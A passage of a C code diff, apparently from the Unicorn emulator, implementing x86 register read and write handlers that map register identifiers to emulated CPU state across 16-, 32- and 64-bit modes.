mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_BH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_BL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_RCX: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ECX]; + break; + case UC_X86_REG_ECX: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_CX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_CH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_CL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_RDX: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EDX]; + break; + case UC_X86_REG_EDX: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_DX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_DH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_DL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_RSP: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ESP]; + break; + case UC_X86_REG_ESP: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ESP]); + break; + case UC_X86_REG_SP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESP]); + break; + case UC_X86_REG_SPL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ESP]); + break; + case UC_X86_REG_RBP: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EBP]; + break; + case UC_X86_REG_EBP: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EBP]); + break; + case UC_X86_REG_BP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBP]); + break; + case UC_X86_REG_BPL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBP]); + break; + case UC_X86_REG_RSI: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ESI]; + break; + case UC_X86_REG_ESI: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ESI]); + break; + case UC_X86_REG_SI: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESI]); + break; + case UC_X86_REG_SIL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ESI]); + break; + case UC_X86_REG_RDI: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EDI]; + break; + case UC_X86_REG_EDI: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EDI]); + break; + case UC_X86_REG_DI: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDI]); + break; + case UC_X86_REG_DIL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDI]); + break; + case UC_X86_REG_RIP: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.eip; + break; + case UC_X86_REG_EIP: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.eip); + break; + case UC_X86_REG_IP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.eip); + break; + case UC_X86_REG_CS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_CS].selector; + break; + case UC_X86_REG_DS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_DS].selector; + break; + case UC_X86_REG_SS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_SS].selector; + break; + case UC_X86_REG_ES: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_ES].selector; + break; + case UC_X86_REG_FS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_FS].selector; + break; + case UC_X86_REG_GS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_GS].selector; + break; + case UC_X86_REG_R8: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[8]); + break; + case UC_X86_REG_R8D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[8]); + break; + case UC_X86_REG_R8W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[8]); + break; + case UC_X86_REG_R8B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[8]); + break; + case UC_X86_REG_R9: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[9]); + break; + case UC_X86_REG_R9D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[9]); + break; + case UC_X86_REG_R9W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[9]); + break; + case UC_X86_REG_R9B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[9]); + break; + case UC_X86_REG_R10: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[10]); + break; + case UC_X86_REG_R10D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[10]); + break; + case UC_X86_REG_R10W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[10]); + break; + case UC_X86_REG_R10B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[10]); + break; + case UC_X86_REG_R11: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[11]); + break; + case UC_X86_REG_R11D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[11]); + break; + case UC_X86_REG_R11W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[11]); + break; + case UC_X86_REG_R11B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[11]); + break; + case UC_X86_REG_R12: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[12]); + break; + case UC_X86_REG_R12D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[12]); + break; + case UC_X86_REG_R12W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[12]); + break; + case UC_X86_REG_R12B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[12]); + break; + case UC_X86_REG_R13: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[13]); + break; + case UC_X86_REG_R13D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[13]); + break; + case UC_X86_REG_R13W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[13]); + break; + case UC_X86_REG_R13B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[13]); + break; + case UC_X86_REG_R14: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[14]); + break; + case UC_X86_REG_R14D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[14]); + break; + case UC_X86_REG_R14W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[14]); + break; + case UC_X86_REG_R14B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[14]); + break; + case UC_X86_REG_R15: + *(int64_t *)value = READ_QWORD(X86_CPU(uc, mycpu)->env.regs[15]); + break; + case UC_X86_REG_R15D: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[15]); + break; + case UC_X86_REG_R15W: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[15]); + break; + case UC_X86_REG_R15B: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[15]); + break; + case UC_X86_REG_IDTR: + ((uc_x86_mmr *)value)->limit = (uint16_t)X86_CPU(uc, mycpu)->env.idt.limit; + ((uc_x86_mmr *)value)->base = X86_CPU(uc, mycpu)->env.idt.base; + break; + case UC_X86_REG_GDTR: + ((uc_x86_mmr *)value)->limit = (uint16_t)X86_CPU(uc, mycpu)->env.gdt.limit; + ((uc_x86_mmr *)value)->base = X86_CPU(uc, mycpu)->env.gdt.base; + break; + case UC_X86_REG_LDTR: + ((uc_x86_mmr *)value)->limit = X86_CPU(uc, mycpu)->env.ldt.limit; + ((uc_x86_mmr *)value)->base = X86_CPU(uc, mycpu)->env.ldt.base; + ((uc_x86_mmr *)value)->selector = (uint16_t)X86_CPU(uc, mycpu)->env.ldt.selector; + ((uc_x86_mmr *)value)->flags = X86_CPU(uc, mycpu)->env.ldt.flags; + break; + case UC_X86_REG_TR: + ((uc_x86_mmr *)value)->limit = X86_CPU(uc, mycpu)->env.tr.limit; + ((uc_x86_mmr *)value)->base = X86_CPU(uc, mycpu)->env.tr.base; + ((uc_x86_mmr *)value)->selector = (uint16_t)X86_CPU(uc, mycpu)->env.tr.selector; + ((uc_x86_mmr *)value)->flags = X86_CPU(uc, mycpu)->env.tr.flags; + break; + case UC_X86_REG_MSR: + x86_msr_read(uc, (uc_x86_msr *)value); + break; + case UC_X86_REG_MXCSR: + *(uint32_t *)value = X86_CPU(uc, mycpu)->env.mxcsr; + break; + case UC_X86_REG_XMM8: + case UC_X86_REG_XMM9: + case UC_X86_REG_XMM10: + case UC_X86_REG_XMM11: + case UC_X86_REG_XMM12: + case UC_X86_REG_XMM13: + case UC_X86_REG_XMM14: + case UC_X86_REG_XMM15: + { + float64 *dst = (float64*)value; + XMMReg *reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_XMM0]; + dst[0] = reg->_d[0]; + dst[1] = reg->_d[1]; + break; + } + case UC_X86_REG_FS_BASE: + *(uint64_t *)value = (uint64_t)X86_CPU(uc, mycpu)->env.segs[R_FS].base; + break; + case UC_X86_REG_GS_BASE: + *(uint64_t *)value = (uint64_t)X86_CPU(uc, mycpu)->env.segs[R_GS].base; + break; + } + break; +#endif + } + } + + return 0; +} + +int x86_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + int ret; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + switch(regid) { + default: + break; + case UC_X86_REG_FP0: + case UC_X86_REG_FP1: + case UC_X86_REG_FP2: + case UC_X86_REG_FP3: + case UC_X86_REG_FP4: + case UC_X86_REG_FP5: + case UC_X86_REG_FP6: + case UC_X86_REG_FP7: + { + uint64_t mant = *(uint64_t*) value; + uint16_t upper = *(uint16_t*) ((char*)value + sizeof(uint64_t)); + X86_CPU(uc, mycpu)->env.fpregs[regid - UC_X86_REG_FP0].d = cpu_set_fp80(mant, upper); + } + continue; + case UC_X86_REG_FPSW: + { + uint16_t fpus = *(uint16_t*) value; + X86_CPU(uc, mycpu)->env.fpus = fpus & ~0x3800; + X86_CPU(uc, mycpu)->env.fpstt = (fpus >> 11) & 0x7; + } + continue; + case UC_X86_REG_FPCW: + cpu_set_fpuc(&X86_CPU(uc, mycpu)->env, *(uint16_t *)value); + continue; + case UC_X86_REG_FPTAG: + { + int i; + uint16_t fptag = *(uint16_t*) value; + for (i = 0; i < 8; i++) { + X86_CPU(uc, mycpu)->env.fptags[i] = ((fptag & 3) == 3); + fptag >>= 2; + } + + continue; + } + break; + case UC_X86_REG_XMM0: + case UC_X86_REG_XMM1: + case UC_X86_REG_XMM2: + case UC_X86_REG_XMM3: + case UC_X86_REG_XMM4: + case UC_X86_REG_XMM5: + case UC_X86_REG_XMM6: + case UC_X86_REG_XMM7: + { + float64 *src = (float64*)value; + XMMReg *reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_XMM0]; + reg->_d[0] = src[0]; + reg->_d[1] = src[1]; + continue; + } + case UC_X86_REG_ST0: + case UC_X86_REG_ST1: + case UC_X86_REG_ST2: + case UC_X86_REG_ST3: + case UC_X86_REG_ST4: + case UC_X86_REG_ST5: + case UC_X86_REG_ST6: + case UC_X86_REG_ST7: + { + // value must be big enough to keep 80 bits (10 bytes) + memcpy(&FPST(regid - UC_X86_REG_ST0), value, 10); + continue; + } + case UC_X86_REG_YMM0: + case UC_X86_REG_YMM1: + case UC_X86_REG_YMM2: + case UC_X86_REG_YMM3: + case UC_X86_REG_YMM4: + case UC_X86_REG_YMM5: + case UC_X86_REG_YMM6: + case UC_X86_REG_YMM7: + case UC_X86_REG_YMM8: + case UC_X86_REG_YMM9: + case UC_X86_REG_YMM10: + case UC_X86_REG_YMM11: + case UC_X86_REG_YMM12: + case UC_X86_REG_YMM13: + case UC_X86_REG_YMM14: + case UC_X86_REG_YMM15: + { + float64 *src = (float64*)value; + XMMReg *lo_reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_YMM0]; + XMMReg *hi_reg = &X86_CPU(uc, mycpu)->env.ymmh_regs[regid - UC_X86_REG_YMM0]; + lo_reg->_d[0] = src[0]; + lo_reg->_d[1] = src[1]; + hi_reg->_d[0] = src[2]; + hi_reg->_d[1] = src[3]; + continue; + } + } + + switch(uc->mode) { + default: + break; + + case UC_MODE_16: + switch(regid) { + default: break; + case UC_X86_REG_ES: + load_seg_16_helper(&X86_CPU(uc, mycpu)->env, R_ES, *(uint16_t *)value); + continue; + case UC_X86_REG_SS: + load_seg_16_helper(&X86_CPU(uc, mycpu)->env, R_SS, *(uint16_t *)value); + continue; + case UC_X86_REG_DS: + load_seg_16_helper(&X86_CPU(uc, mycpu)->env, R_DS, *(uint16_t *)value); + continue; + case UC_X86_REG_FS: + load_seg_16_helper(&X86_CPU(uc, mycpu)->env, R_FS, *(uint16_t *)value); + continue; + case UC_X86_REG_GS: + load_seg_16_helper(&X86_CPU(uc, mycpu)->env, R_GS, *(uint16_t *)value); + continue; + } + // fall-thru + case UC_MODE_32: + switch(regid) { + default: + break; + case UC_X86_REG_CR0: + case UC_X86_REG_CR1: + case UC_X86_REG_CR2: + case UC_X86_REG_CR3: + case UC_X86_REG_CR4: + X86_CPU(uc, mycpu)->env.cr[regid - UC_X86_REG_CR0] = *(uint32_t *)value; + break; + case UC_X86_REG_DR0: + case UC_X86_REG_DR1: + case UC_X86_REG_DR2: + case UC_X86_REG_DR3: + case UC_X86_REG_DR4: + case UC_X86_REG_DR5: + case UC_X86_REG_DR6: + case UC_X86_REG_DR7: + X86_CPU(uc, mycpu)->env.dr[regid - UC_X86_REG_DR0] = *(uint32_t *)value; + break; + case UC_X86_REG_EFLAGS: + cpu_load_eflags(&X86_CPU(uc, mycpu)->env, *(uint32_t *)value, -1); + X86_CPU(uc, mycpu)->env.eflags0 = *(uint32_t *)value; + break; + case UC_X86_REG_EAX: + X86_CPU(uc, mycpu)->env.regs[R_EAX] = *(uint32_t *)value; + break; + case UC_X86_REG_AX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint16_t *)value); + break; + case UC_X86_REG_AH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint8_t *)value); + break; + case UC_X86_REG_AL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint8_t *)value); + break; + case UC_X86_REG_EBX: + X86_CPU(uc, mycpu)->env.regs[R_EBX] = *(uint32_t *)value; + break; + case UC_X86_REG_BX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint16_t *)value); + break; + case UC_X86_REG_BH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint8_t *)value); + break; + case UC_X86_REG_BL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint8_t *)value); + break; + case UC_X86_REG_ECX: + X86_CPU(uc, mycpu)->env.regs[R_ECX] = *(uint32_t *)value; + break; + case UC_X86_REG_CX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint16_t *)value); + break; + case UC_X86_REG_CH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint8_t *)value); + break; + case UC_X86_REG_CL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint8_t *)value); + break; + case UC_X86_REG_EDX: + X86_CPU(uc, mycpu)->env.regs[R_EDX] = *(uint32_t *)value; + break; + case UC_X86_REG_DX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint16_t *)value); + break; + case UC_X86_REG_DH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint8_t *)value); + break; + case UC_X86_REG_DL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint8_t *)value); + break; + case UC_X86_REG_ESP: + X86_CPU(uc, mycpu)->env.regs[R_ESP] = *(uint32_t *)value; + break; + case UC_X86_REG_SP: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESP], *(uint16_t *)value); + break; + case UC_X86_REG_EBP: + X86_CPU(uc, mycpu)->env.regs[R_EBP] = *(uint32_t *)value; + break; + case UC_X86_REG_BP: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBP], *(uint16_t *)value); + break; + case UC_X86_REG_ESI: + X86_CPU(uc, mycpu)->env.regs[R_ESI] = *(uint32_t *)value; + break; + case UC_X86_REG_SI: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESI], *(uint16_t *)value); + break; + case UC_X86_REG_EDI: + X86_CPU(uc, mycpu)->env.regs[R_EDI] = *(uint32_t *)value; + break; + case UC_X86_REG_DI: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDI], *(uint16_t *)value); + break; + case UC_X86_REG_EIP: + X86_CPU(uc, mycpu)->env.eip = *(uint32_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_X86_REG_IP: + X86_CPU(uc, mycpu)->env.eip = *(uint16_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_X86_REG_CS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_CS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_CS, *(uint16_t *)value); + break; + case UC_X86_REG_DS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_DS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_DS, *(uint16_t *)value); + break; + case UC_X86_REG_SS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_SS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_SS, *(uint16_t *)value); + break; + case UC_X86_REG_ES: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_ES, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_ES, *(uint16_t *)value); + break; + case UC_X86_REG_FS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_FS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_FS, *(uint16_t *)value); + break; + case UC_X86_REG_GS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_GS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_GS, *(uint16_t *)value); + break; + case UC_X86_REG_IDTR: + X86_CPU(uc, mycpu)->env.idt.limit = (uint16_t)((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.idt.base = (uint32_t)((uc_x86_mmr *)value)->base; + break; + case UC_X86_REG_GDTR: + X86_CPU(uc, mycpu)->env.gdt.limit = (uint16_t)((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.gdt.base = (uint32_t)((uc_x86_mmr *)value)->base; + break; + case UC_X86_REG_LDTR: + X86_CPU(uc, mycpu)->env.ldt.limit = ((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.ldt.base = (uint32_t)((uc_x86_mmr *)value)->base; + X86_CPU(uc, mycpu)->env.ldt.selector = (uint16_t)((uc_x86_mmr *)value)->selector; + X86_CPU(uc, mycpu)->env.ldt.flags = ((uc_x86_mmr *)value)->flags; + break; + case UC_X86_REG_TR: + X86_CPU(uc, mycpu)->env.tr.limit = ((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.tr.base = (uint32_t)((uc_x86_mmr *)value)->base; + X86_CPU(uc, mycpu)->env.tr.selector = (uint16_t)((uc_x86_mmr *)value)->selector; + X86_CPU(uc, mycpu)->env.tr.flags = ((uc_x86_mmr *)value)->flags; + break; + case UC_X86_REG_MSR: + x86_msr_write(uc, (uc_x86_msr *)value); + break; + case UC_X86_REG_MXCSR: + cpu_set_mxcsr(&X86_CPU(uc, mycpu)->env, *(uint32_t *)value); + break; + /* + // Don't think base registers are a "thing" on x86 + case UC_X86_REG_FS_BASE: + X86_CPU(uc, mycpu)->env.segs[R_FS].base = *(uint32_t *)value; + continue; + case UC_X86_REG_GS_BASE: + X86_CPU(uc, mycpu)->env.segs[R_GS].base = *(uint32_t *)value; + continue; + */ + } + break; + +#ifdef TARGET_X86_64 + case UC_MODE_64: + switch(regid) { + default: + break; + case UC_X86_REG_CR0: + case UC_X86_REG_CR1: + case UC_X86_REG_CR2: + case UC_X86_REG_CR3: + case UC_X86_REG_CR4: + X86_CPU(uc, mycpu)->env.cr[regid - UC_X86_REG_CR0] = *(uint64_t *)value; + break; + case UC_X86_REG_DR0: + case UC_X86_REG_DR1: + case UC_X86_REG_DR2: + case UC_X86_REG_DR3: + case UC_X86_REG_DR4: + case UC_X86_REG_DR5: + case UC_X86_REG_DR6: + case UC_X86_REG_DR7: + X86_CPU(uc, mycpu)->env.dr[regid - UC_X86_REG_DR0] = *(uint64_t *)value; + break; + case UC_X86_REG_EFLAGS: + cpu_load_eflags(&X86_CPU(uc, mycpu)->env, *(uint64_t *)value, -1); + X86_CPU(uc, mycpu)->env.eflags0 = *(uint64_t *)value; + break; + case UC_X86_REG_RAX: + X86_CPU(uc, mycpu)->env.regs[R_EAX] = *(uint64_t *)value; + break; + case UC_X86_REG_EAX: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint32_t *)value); + break; + case UC_X86_REG_AX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint16_t *)value); + break; + case UC_X86_REG_AH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint8_t *)value); + break; + case UC_X86_REG_AL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EAX], *(uint8_t *)value); + break; + case UC_X86_REG_RBX: + X86_CPU(uc, mycpu)->env.regs[R_EBX] = *(uint64_t *)value; + break; + case UC_X86_REG_EBX: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint32_t *)value); + break; + case UC_X86_REG_BX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint16_t *)value); + break; + case UC_X86_REG_BH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint8_t *)value); + break; + case UC_X86_REG_BL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBX], *(uint8_t *)value); + break; + case UC_X86_REG_RCX: + X86_CPU(uc, mycpu)->env.regs[R_ECX] = *(uint64_t *)value; + break; + case UC_X86_REG_ECX: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint32_t *)value); + break; + case UC_X86_REG_CX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint16_t *)value); + break; + case UC_X86_REG_CH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint8_t *)value); + break; + case UC_X86_REG_CL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ECX], *(uint8_t *)value); + break; + case UC_X86_REG_RDX: + X86_CPU(uc, mycpu)->env.regs[R_EDX] = *(uint64_t *)value; + break; + case UC_X86_REG_EDX: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint32_t *)value); + break; + case UC_X86_REG_DX: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint16_t *)value); + break; + case UC_X86_REG_DH: + WRITE_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint8_t *)value); + break; + case UC_X86_REG_DL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDX], *(uint8_t *)value); + break; + case UC_X86_REG_RSP: + X86_CPU(uc, mycpu)->env.regs[R_ESP] = *(uint64_t *)value; + break; + case UC_X86_REG_ESP: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ESP], *(uint32_t *)value); + break; + case UC_X86_REG_SP: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESP], *(uint16_t *)value); + break; + case UC_X86_REG_SPL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ESP], *(uint8_t *)value); + break; + case UC_X86_REG_RBP: + X86_CPU(uc, mycpu)->env.regs[R_EBP] = *(uint64_t *)value; + break; + case UC_X86_REG_EBP: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EBP], *(uint32_t *)value); + break; + case UC_X86_REG_BP: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBP], *(uint16_t *)value); + break; + case UC_X86_REG_BPL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBP], *(uint8_t *)value); + break; + case UC_X86_REG_RSI: + X86_CPU(uc, mycpu)->env.regs[R_ESI] = *(uint64_t *)value; + break; + case UC_X86_REG_ESI: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_ESI], *(uint32_t *)value); + break; + case UC_X86_REG_SI: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESI], *(uint16_t *)value); + break; + case UC_X86_REG_SIL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ESI], *(uint8_t *)value); + break; + case UC_X86_REG_RDI: + X86_CPU(uc, mycpu)->env.regs[R_EDI] = *(uint64_t *)value; + break; + case UC_X86_REG_EDI: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EDI], *(uint32_t *)value); + break; + case UC_X86_REG_DI: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDI], *(uint16_t *)value); + break; + case UC_X86_REG_DIL: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDI], *(uint8_t *)value); + break; + case UC_X86_REG_RIP: + X86_CPU(uc, mycpu)->env.eip = *(uint64_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_X86_REG_EIP: + X86_CPU(uc, mycpu)->env.eip = *(uint32_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_X86_REG_IP: + WRITE_WORD(X86_CPU(uc, mycpu)->env.eip, *(uint16_t *)value); + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_X86_REG_CS: + X86_CPU(uc, mycpu)->env.segs[R_CS].selector = *(uint16_t *)value; + break; + case UC_X86_REG_DS: + X86_CPU(uc, mycpu)->env.segs[R_DS].selector = *(uint16_t *)value; + break; + case UC_X86_REG_SS: + X86_CPU(uc, mycpu)->env.segs[R_SS].selector = *(uint16_t *)value; + break; + case UC_X86_REG_ES: + X86_CPU(uc, mycpu)->env.segs[R_ES].selector = *(uint16_t *)value; + break; + case UC_X86_REG_FS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_FS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_FS, *(uint16_t *)value); + break; + case UC_X86_REG_GS: + ret = uc_check_cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_GS, *(uint16_t *)value); + if (ret) { + return ret; + } + cpu_x86_load_seg(&X86_CPU(uc, mycpu)->env, R_GS, *(uint16_t *)value); + break; + case UC_X86_REG_R8: + X86_CPU(uc, mycpu)->env.regs[8] = *(uint64_t *)value; + break; + case UC_X86_REG_R8D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[8], *(uint32_t *)value); + break; + case UC_X86_REG_R8W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[8], *(uint16_t *)value); + break; + case UC_X86_REG_R8B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[8], *(uint8_t *)value); + 